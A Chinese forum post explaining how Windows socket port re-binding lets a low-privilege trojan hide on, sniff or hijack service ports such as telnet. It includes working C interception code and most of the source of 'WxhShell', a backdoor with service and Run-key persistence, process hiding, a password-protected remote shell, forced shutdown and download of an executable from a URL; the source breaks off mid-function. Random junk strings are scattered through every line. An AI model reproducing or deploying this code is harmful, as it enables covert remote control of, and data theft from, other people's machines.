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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -,} ppTG  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \7A6+[ `fa  
*m`KY)b=l  
  saddr.sin_family = AF_INET; L }&$5KiwV  
($Y6hn+  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); (f?&zQ!+  
?#_]Lzn'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  B!+`km5  
3bPF+(`J  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 w|WehNGr  
9|RR;k[  
  这意味着什么?意味着可以进行如下的攻击: J;cTEB  
V-%Am  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 gTwxmp.,  
{h *Pkn1  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) tO]` I-  
5<KY}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Rjz~n38.  
>s+*D=k  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  *WpDavovyB  
i& ybvTl  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (lR9x6yf  
<X1^w  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "=9kX`(1y  
tN:PWj5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 FZ^j|2.L*  
V+2C!)f(  
  #include JJ$q*  
  #include 9Lv"|S`5W_  
  #include $C8nPl' 7  
  #include    ]:vo"{*C  
  DWORD WINAPI ClientThread(LPVOID lpParam);   'vUx4s  
  int main() enJgk(  
  { 6!^&]4  
  WORD wVersionRequested; smN |r  
  DWORD ret; v\:P _J  
  WSADATA wsaData; m'P,:S)=  
  BOOL val; `@07n]KB  
  SOCKADDR_IN saddr; aZ{]t:]  
  SOCKADDR_IN scaddr; #0;ULZ99aH  
  int err; k(.6K[ b  
  SOCKET s; dCkk5&2n  
  SOCKET sc; /vLdm-4  
  int caddsize; N9A#@c0O  
  HANDLE mt; 2[qlEtvQ  
  DWORD tid;    +*aZ9g  
  wVersionRequested = MAKEWORD( 2, 2 ); d~U}IMj  
  err = WSAStartup( wVersionRequested, &wsaData ); Juqe%he`  
  if ( err != 0 ) { ~E tW B  
  printf("error!WSAStartup failed!\n"); I>(\B|\6  
  return -1; u+Q<> >lU  
  } 6@[7  
  saddr.sin_family = AF_INET; lboi\GP|  
   ;5 JzrbtL  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7r4|>F  
 YXr"  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); nVt,= ?_ U  
  saddr.sin_port = htons(23); U4*Q;A#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c$ skLz  
  { w`$M}oX(  
  printf("error!socket failed!\n"); A%$ZB9#zQ  
  return -1; fyE#8h_>4  
  } s35`{PR  
  val = TRUE; aX$Q}mgb  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [|!A3o  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) K7CrRT3>6  
  { IDIok~B=e  
  printf("error!setsockopt failed!\n"); ;9rS[$^$O  
  return -1; "bC1dl<  
  } k6?;D_dm  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !ENDQ?1  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 M#7w54~b?M  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 m<X[s  
]F4 .m  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) O<o>/HH$  
  { P@wuk1  
  ret=GetLastError(); 2/W5E-tn  
  printf("error!bind failed!\n"); FbWcq_  
  return -1; JgmX=6N  
  } ~DYv6-p%  
  listen(s,2); dRD t.U!T  
  while(1) c?0.>^,B Q  
  { o'SZ sG  
  caddsize = sizeof(scaddr); AYP*J  
  //接受连接请求 9$[PA jwk  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); n+XLZf#  
  if(sc!=INVALID_SOCKET) _vV3A3|Ec,  
  { v{[:7]b_=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); t) :'XGk@  
  if(mt==NULL) il5Qo  
  { W#.+C6/  
  printf("Thread Creat Failed!\n"); y`|86` Y  
  break; ,&5\`  
  } R#^.8g)t  
  } !\ 6<kQg#  
  CloseHandle(mt); f"}g5eg+  
  } ac%6eW0#  
  closesocket(s); $%P?2g"j,  
  WSACleanup(); 1R+/T  
  return 0; FP_q?=~rFs  
  }   8h%oJ4da   
  DWORD WINAPI ClientThread(LPVOID lpParam) 4Nun-(q  
  { +\_c*'K>  
  SOCKET ss = (SOCKET)lpParam; 6B=: P3Y  
  SOCKET sc; IGQcQ/M  
  unsigned char buf[4096]; j*' +f~ A  
  SOCKADDR_IN saddr; p"UdD  
  long num; L<62-+e`  
  DWORD val; o<8('j   
  DWORD ret; l3O!{&~K  
  //如果是隐藏端口应用的话,可以在此处加一些判断 <1%(%KdN[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Z.l4<  
  saddr.sin_family = AF_INET; S<Os\/*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); f)x(sk  
  saddr.sin_port = htons(23); x,% %^(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a7@':Rb n  
  { R ~ZcTY[8  
  printf("error!socket failed!\n"); ("r\3Mvs  
  return -1;  .V   
  } :2zga=)g  
  val = 100; BH"OphE  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h%%ryQQ&<  
  { J6[V7R[\  
  ret = GetLastError(); pv[Gg^  
  return -1; !Soz??~o/  
  } je`Ysben  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JJZu%9~[  
  { rLpfybu  
  ret = GetLastError(); N xW Dw  
  return -1; }B e;YIhG  
  } h0O t>e"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ZO#f)>s2  
  { L}a-c(G+8  
  printf("error!socket connect failed!\n"); &pzf*|}  
  closesocket(sc); [. Db56  
  closesocket(ss); {)jTq??  
  return -1; YT`,f*t  
  } {Z,_/@}N  
  while(1) Fc6o6GyL|o  
  { S6CI+W  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -^aJ}[uaI  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 MO>9A,&f  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9$?Sts}6&  
  num = recv(ss,buf,4096,0); D 0 O^=v|  
  if(num>0) Fd86P.Df  
  send(sc,buf,num,0); ]?6Pt:N2  
  else if(num==0) cE;n>ta"F  
  break; 'L@kZ  
  num = recv(sc,buf,4096,0); (yb$h0HN  
  if(num>0) l@)`Q  
  send(ss,buf,num,0); 8g0VTY4$jP  
  else if(num==0) lHUd<kEC  
  break; lz7?Z  
  } }6_*i!68"U  
  closesocket(ss); 0MI4"<  
  closesocket(sc); .0Kc|b=w  
  return 0 ; Uc;~q-??#  
  } 0,/I2!dF?  
jQrj3*V  
|z7V1xF  
========================================================== yT~rql  
OUk"aAo  
下边附上一个代码,,WXhSHELL l+a1`O  
-tZ~&1"  
========================================================== RY .@_{  
.He}f,!f<  
#include "stdafx.h" ^6On^k[|fw  
"g,`Ks ];  
#include <stdio.h> xG(xG%J  
#include <string.h> o(k{Ed  
#include <windows.h> f DwK5?  
#include <winsock2.h> BW:HKH.k  
#include <winsvc.h> Mbp7%^E"A  
#include <urlmon.h> #CV]S4/^  
r~z'QG6v/  
#pragma comment (lib, "Ws2_32.lib") iInWw"VbKe  
#pragma comment (lib, "urlmon.lib") k2@]nW"S  
'u:-~nSX)  
#define MAX_USER   100 // 最大客户端连接数 Nq%ir8hE  
#define BUF_SOCK   200 // sock buffer eaC%& k  
#define KEY_BUFF   255 // 输入 buffer p0[+Zm{#l  
K9{RU4<  
#define REBOOT     0   // 重启 oY4^CGk=  
#define SHUTDOWN   1   // 关机 )bWopc  
k8?G%/TD  
#define DEF_PORT   5000 // 监听端口 )ViBH\.*p  
+Bf?35LP  
#define REG_LEN     16   // 注册表键长度 s&hr$`V4  
#define SVC_LEN     80   // NT服务名长度 lA pZC6Iwk  
_%[po%]  
// 从dll定义API YF)]B|I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 84WX I#BH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >%ovL8F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c: r25  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \h"U+Bv7  
QC?~$>h!?  
// wxhshell配置信息 w_f.\\1r  
struct WSCFG { Mj{w/'  
  int ws_port;         // 监听端口 Pa6pq;4St  
  char ws_passstr[REG_LEN]; // 口令 [#9i@40  
  int ws_autoins;       // 安装标记, 1=yes 0=no * bd3^mP  
  char ws_regname[REG_LEN]; // 注册表键名 $J^fpXO  
  char ws_svcname[REG_LEN]; // 服务名 T](}jQxj`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R G*Vdom  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $AT@r"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o] Xt2E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zak|* _  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a'-u(Bw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |r*)U(c`  
QtwQVOK  
}; ME$J42  
B>W8pZu-J  
// default Wxhshell configuration RC/45:hZZ  
struct WSCFG wscfg={DEF_PORT, *E*oWb]H  
    "xuhuanlingzhe", tYXE$ i  
    1, [}YUi>NGA  
    "Wxhshell", j.ucv  
    "Wxhshell", sO` oapy  
            "WxhShell Service", qm3H/cC9+  
    "Wrsky Windows CmdShell Service", `sCn4-$8  
    "Please Input Your Password: ", u4_QLf@I  
  1, 5Yhcnwdm!  
  "http://www.wrsky.com/wxhshell.exe", P`ou:M{8  
  "Wxhshell.exe" i84!x%|P  
    }; xZP*%yM  
&iInru3  
// 消息定义模块 1_<x%>zG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0:`|T jf_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; uN:KivVe  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -?-XO<I  
char *msg_ws_ext="\n\rExit."; R!%nzL@e&`  
char *msg_ws_end="\n\rQuit."; a3>/B$pE  
char *msg_ws_boot="\n\rReboot..."; v,S5C  
char *msg_ws_poff="\n\rShutdown..."; 8f/KNh7#s  
char *msg_ws_down="\n\rSave to "; 0muC4  
t|$ jgM  
char *msg_ws_err="\n\rErr!"; ]bJz-6u#:  
char *msg_ws_ok="\n\rOK!"; 6,A|9UX=`  
2}A)5P*K  
char ExeFile[MAX_PATH]; %W"u4 NT7  
int nUser = 0; Xva(R<W7d<  
HANDLE handles[MAX_USER]; 0k5-S~_\  
int OsIsNt; )"S%'myj  
B=!!R]dxA  
SERVICE_STATUS       serviceStatus; )A$"COM4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c1"wS*u  
hhze5_$_  
// 函数声明 SHX`/  
int Install(void); 9h amxi  
int Uninstall(void); 0+e=s0s.  
int DownloadFile(char *sURL, SOCKET wsh); 3'Y-~^ml|  
int Boot(int flag); 68XJ`/d  
void HideProc(void); =I`S7oF  
int GetOsVer(void); `Pvi+:6\Y  
int Wxhshell(SOCKET wsl); &KjMw:l  
void TalkWithClient(void *cs); #NW+t|E  
int CmdShell(SOCKET sock); Jt=- >  
int StartFromService(void); `qc"JB  
int StartWxhshell(LPSTR lpCmdLine); ~t)cbF(UO  
]>1Mq,!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +6#$6hG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )&@YRT\c?8  
rx2)uUbR  
// 数据结构和表定义  y:RW:D&  
SERVICE_TABLE_ENTRY DispatchTable[] = kk /#&b2  
{ 'F d+1 3  
{wscfg.ws_svcname, NTServiceMain}, `eM ZhY o  
{NULL, NULL} gz~oQ l)zJ  
}; WT'-.UX m  
)Ka-vX)D@  
// 自我安装 :)~l3:O  
int Install(void) a+E 8s7C/D  
{ DK74s  
  char svExeFile[MAX_PATH]; eUcb e33  
  HKEY key; h mRmU{(Y  
  strcpy(svExeFile,ExeFile); x/DV>Nfn  
8ttJ\m  
// 如果是win9x系统,修改注册表设为自启动 ]q1w@)]n}  
if(!OsIsNt) { = LNU%0m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qWhW4$7x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y~vk>ZC  
  RegCloseKey(key); H?=W]<!W{y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5@2Rl>B$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2Mt$Dah  
  RegCloseKey(key); ,Z~`aHhr  
  return 0; !T,<p    
    } .dU91> ~Ov  
  } f'oTN!5WF  
} g{V(WyT@  
else { ?>;aD  
EHwb?{  
// 如果是NT以上系统,安装为系统服务 #c:s 2EL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^3dc#5]Xf  
if (schSCManager!=0) I{89chi  
{ q`1tUd4G  
  SC_HANDLE schService = CreateService #kv9$  
  ( ,Vi_~b  
  schSCManager, 6TW<,SM  
  wscfg.ws_svcname, ] `$6=) _X  
  wscfg.ws_svcdisp, IU8zidn&  
  SERVICE_ALL_ACCESS, cb^IJA9}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $VmV>NZ  
  SERVICE_AUTO_START, e3ZRL91c  
  SERVICE_ERROR_NORMAL, F_qApyU,7  
  svExeFile, rr tMd  
  NULL, k*C69  
  NULL, /(^-= pAX  
  NULL, 4;6"I2;zfG  
  NULL, =3035{\  
  NULL nX (bVT4i  
  ); NCKR<!(  
  if (schService!=0) D,cD]tB2  
  { v@{y}  
  CloseServiceHandle(schService); rN&fFI  
  CloseServiceHandle(schSCManager); ^aB;Oo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g$uiwqNA%  
  strcat(svExeFile,wscfg.ws_svcname); wO,qFY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +S~ u,=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); { 4j<X5V  
  RegCloseKey(key); :zU4K=kR  
  return 0; 8'Q+%{?1t  
    } nk|(cyt)  
  } .4a|^ vT  
  CloseServiceHandle(schSCManager); jA,y.(mR  
} m~+.vk  
} NOTG|\{  
-U2Su|:\N8  
return 1; (]q ([e  
} X?haHM#]  
/RB%m8@;  
// 自我卸载 %`bs<ZWT  
int Uninstall(void) %Ik5|\ob?  
{ JY c:@\   
  HKEY key; ;j T{< Y  
12 )  
if(!OsIsNt) { rPB Ju0D"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q?j7bp]  
  RegDeleteValue(key,wscfg.ws_regname); e)H FI|>  
  RegCloseKey(key); wf  ]Wm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E/H9#  
  RegDeleteValue(key,wscfg.ws_regname); 0")_%  
  RegCloseKey(key); C/!P&`<6  
  return 0; Zg_b(ks  
  } i|h{<X7[  
} ikZYc ${  
} }!K #  
else { gX!K%qJBg  
D!* SA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '@24<T]  
if (schSCManager!=0) +IXr4M&3  
{ 2_Lu 0Yrg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Lj /^cx  
  if (schService!=0) W(qK?"s2  
  { n!zB+hW  
  if(DeleteService(schService)!=0) { ):Fg {7b]n  
  CloseServiceHandle(schService); Wgf f+7k  
  CloseServiceHandle(schSCManager); 9vi+[3s/=;  
  return 0; }D1? Z7p  
  } HxR5&o  
  CloseServiceHandle(schService); s[4qC  
  } JXuks`:Q  
  CloseServiceHandle(schSCManager); p!E*A NwX  
} AIP0PJI3  
} M7qg\1L  
R Q 8"vF#  
return 1; x6aVNH=  
} :2 \NG}  
#: EhGlq8  
// 从指定url下载文件 WDnNVE  
int DownloadFile(char *sURL, SOCKET wsh) k Jz^\Re  
{ un\o&0}  
  HRESULT hr; ^d>m`*px  
char seps[]= "/"; $m)eO8S+  
char *token; qW3XA$g|j'  
char *file; yu#m6K  
char myURL[MAX_PATH]; E.C=VfBW  
char myFILE[MAX_PATH]; 1&h\\&ic  
nVpDjUpN  
strcpy(myURL,sURL); wI7.M Gt  
  token=strtok(myURL,seps); M\ wCZG  
  while(token!=NULL) rhF2U  
  { Ozqh Jb  
    file=token; D{7sfkcJ  
  token=strtok(NULL,seps); N/C$8D34  
  } oVl:g:K40  
b 2\J<Nw  
GetCurrentDirectory(MAX_PATH,myFILE); eLH=PDdO  
strcat(myFILE, "\\"); A _7I0^  
strcat(myFILE, file); Z%sTj6Th  
  send(wsh,myFILE,strlen(myFILE),0); nF-l4=  
send(wsh,"...",3,0); B8wGWZ@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5-4  
  if(hr==S_OK) v%#@.D!)  
return 0; >d;U>P5.  
else O>*Vo!z\f  
return 1; *"jlsI  
p*jH5h cy  
} G_WFg$7G%  
1)u,%  
// 系统电源模块 r" |do2s  
int Boot(int flag) lE+Duap:  
{ U8aNL sw  
  HANDLE hToken; 3W[||V[r]<  
  TOKEN_PRIVILEGES tkp; Yl1l$[A$  
Ut%{pc 7^F  
  if(OsIsNt) { U+-;(Fh~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9G1ZW=83  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9qq6P!  
    tkp.PrivilegeCount = 1; MO1H?U hx  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =BD |uIR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E.B6u, Te  
if(flag==REBOOT) { A'uubFRL2[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c r18`xU  
  return 0; %U[H`E  
} B<|Vm.D  
else { 5IgO4<B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6!6R3Za$  
  return 0; TCgW^iu  
} RdjoVCf  
  } ,7d#t4  
  else { 7OPRf9+o  
if(flag==REBOOT) { +Lr`-</VF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Eg4&D4TG p  
  return 0; Q*f0YjH!  
} |@B|o-  
else { V2yX;u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G[d]t$f=  
  return 0; T7Y+ WfYh  
} $|@-u0sv  
} F${}n1D  
F)aF.'$-/  
return 1; R-k~\vCW  
} vgn,ZcX  
z  +c8G  
// win9x进程隐藏模块 "?_ af  
void HideProc(void) Q{ g{  
{ eS%8WmCV9<  
fG@]G9Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ] P_yN:~  
  if ( hKernel != NULL ) {XXnMO4uR;  
  {  ;t/KF"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $F/xv&t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PmE 8O  
    FreeLibrary(hKernel); <pFbm  
  } i_y%HG  
n&Q0V.  
return; DRVvC~M-,  
} n482?Wp  
Rd@?2)Xm  
// 获取操作系统版本 *]Eyf")  
int GetOsVer(void) :@Ml-ZE  
{ JGYJ;j{E]  
  OSVERSIONINFO winfo; gP ^A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I!Fd~g9I4  
  GetVersionEx(&winfo); Vc8w[oS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B;<zA' 1  
  return 1; a 4? c~bs  
  else eV9,G8  
  return 0; 5IRUG)Icr  
} bhKe"#m|S  
wEl/s P  
// 客户端句柄模块 R$2\Xl@qQF  
int Wxhshell(SOCKET wsl) i66/2BUh.  
{ r+a0.  
  SOCKET wsh; A*kN I  
  struct sockaddr_in client; cf\GC2+"^$  
  DWORD myID; S`h yRw  
#Fh:z4  
  while(nUser<MAX_USER) uOx"oR|  
{ BWkTQd<t  
  int nSize=sizeof(client); [1e/@eC5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5hDm[*83  
  if(wsh==INVALID_SOCKET) return 1; bW GMgC  
Rf!$n7& \  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mW3 IR3 b  
if(handles[nUser]==0) -c[fg+L9  
  closesocket(wsh); 2FM}" g<8  
else m>DJ w7<  
  nUser++; Q*9Y.W.8  
  } ?{1& J9H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #_'^oGz`  
h\|T(597.  
  return 0; >4?735f=x  
} ?0d#O_la3  
}gQnr;lv  
// 关闭 socket $F@ ,,*  
void CloseIt(SOCKET wsh) 5"L.C32  
{ cZ ,}1?!  
closesocket(wsh); Cv< s|  
nUser--; ^= qL[S6/M  
ExitThread(0); Nfd'|#  
} K*tomy  
CeUC[cUQU  
// 客户端请求句柄 C:vVFU|4  
void TalkWithClient(void *cs) cE*d(g  
{ .6pVt_f0/  
G9~ 4?v6:  
  SOCKET wsh=(SOCKET)cs; /kqa|=-`q  
  char pwd[SVC_LEN]; 2zkO s:  
  char cmd[KEY_BUFF]; ,a ":/ /[  
char chr[1]; oUL4l=dj.  
int i,j; @lCyH(c%  
CS;4ysNf  
  while (nUser < MAX_USER) { .|KBQMI  
|0VZ1{=*  
if(wscfg.ws_passstr) { dlioaYc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zCmx1Djz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OgCz[QXr_  
  //ZeroMemory(pwd,KEY_BUFF); a-NicjV#  
      i=0; lPg?Fk7AP  
  while(i<SVC_LEN) { }`+9ie7]/  
)< p ~  
  // 设置超时 xk s M e  
  fd_set FdRead; X?'pcYSL  
  struct timeval TimeOut; ]3L/8]:  
  FD_ZERO(&FdRead); M AL;XcRR  
  FD_SET(wsh,&FdRead); pzeCdHF  
  TimeOut.tv_sec=8; JD]uDuE  
  TimeOut.tv_usec=0; a" L9jrVrw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sY&Z/Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9`7>" [=P  
di37   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1YtK+,mz  
  pwd=chr[0]; FQ u c}A  
  if(chr[0]==0xd || chr[0]==0xa) { *eMMfxFl  
  pwd=0; C40o_1g  
  break; c6VyF=2q  
  } BCh|^Pk  
  i++; ">vi=Tr  
    } # GzowI'  
OU<v9`<  
  // 如果是非法用户,关闭 socket H`rd bE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /25Ay  
} &W{v(@  
-0P9|;h5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5 &0qr$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); . Gb!mG  
sEi9<$~R@0  
while(1) { ZKai*q4?  
sGc.;":  
  ZeroMemory(cmd,KEY_BUFF); I5ZM U  
$ByP 9=|  
      // 自动支持客户端 telnet标准   a`>H69(bU  
  j=0; 6!wk5#  
  while(j<KEY_BUFF) { D THWL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P=Su)c  
  cmd[j]=chr[0]; z#2n+hwE  
  if(chr[0]==0xa || chr[0]==0xd) {  |^"0bu"  
  cmd[j]=0; \jx3Fs:Q  
  break; mp z3o\n  
  } ~JO.h$1C  
  j++; <jBRUa[j_  
    } @4n>I+6*&  
:TkMS8  
  // 下载文件 ;3o7>yEv  
  if(strstr(cmd,"http://")) { <6X*k{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .AZwVP<  
  if(DownloadFile(cmd,wsh)) gj I>tz}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); HEw&'  
  else ~ 7<M6F  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PlCj<b1D:  
  } gyuBmY  
  else { K|I<kA~!H  
w/*m_O\!  
    switch(cmd[0]) { b7B|$T,  
  nlA:C>=  
  // 帮助 L$,yEMCe  
  case '?': { W||&Xb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .eLd0{JtN  
    break; mv^X{T  
  } !;0K=~(Y^  
  // 安装 l2I%$|)d  
  case 'i': { SYa O'c  
    if(Install()) %`YR+J/V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [2E(3`-u  
    else /Q_ Dd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <. *bJ  
    break; l>KkAA  
    } '.k'*=cq0  
  // 卸载 ^b.#4i (v  
  case 'r': { 6[S IDOp*^  
    if(Uninstall()) b`@J"E}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6&il>  
    else @_1cY#!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m.<u !MI  
    break; Qxk& J  
    } ?'_6M4UKa  
  // 显示 wxhshell 所在路径 gtePo[ZH.P  
  case 'p': { B9Hib1<8  
    char svExeFile[MAX_PATH]; hCS}  
    strcpy(svExeFile,"\n\r"); 3#Bb4\_v  
      strcat(svExeFile,ExeFile); {`,)<R>}  
        send(wsh,svExeFile,strlen(svExeFile),0); dqs~K7O^E  
    break; eze%RjO}  
    } 2=/-,kOL_  
  // 重启 PcqS#!t  
  case 'b': { eTuKu(0 E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [FLR&=.(  
    if(Boot(REBOOT)) p4 =/rkq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Vw>3|C  
    else { hS&l4 \I'Z  
    closesocket(wsh); ,~DV0#"  
    ExitThread(0); e[s}tjx  
    } P-3f51Q  
    break; =1@LMIi5x  
    } EC 1|$Co  
  // 关机 6|~^P!&  
  case 'd': { _^NyLI%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t"Ah]sD  
    if(Boot(SHUTDOWN)) cv G*p||  
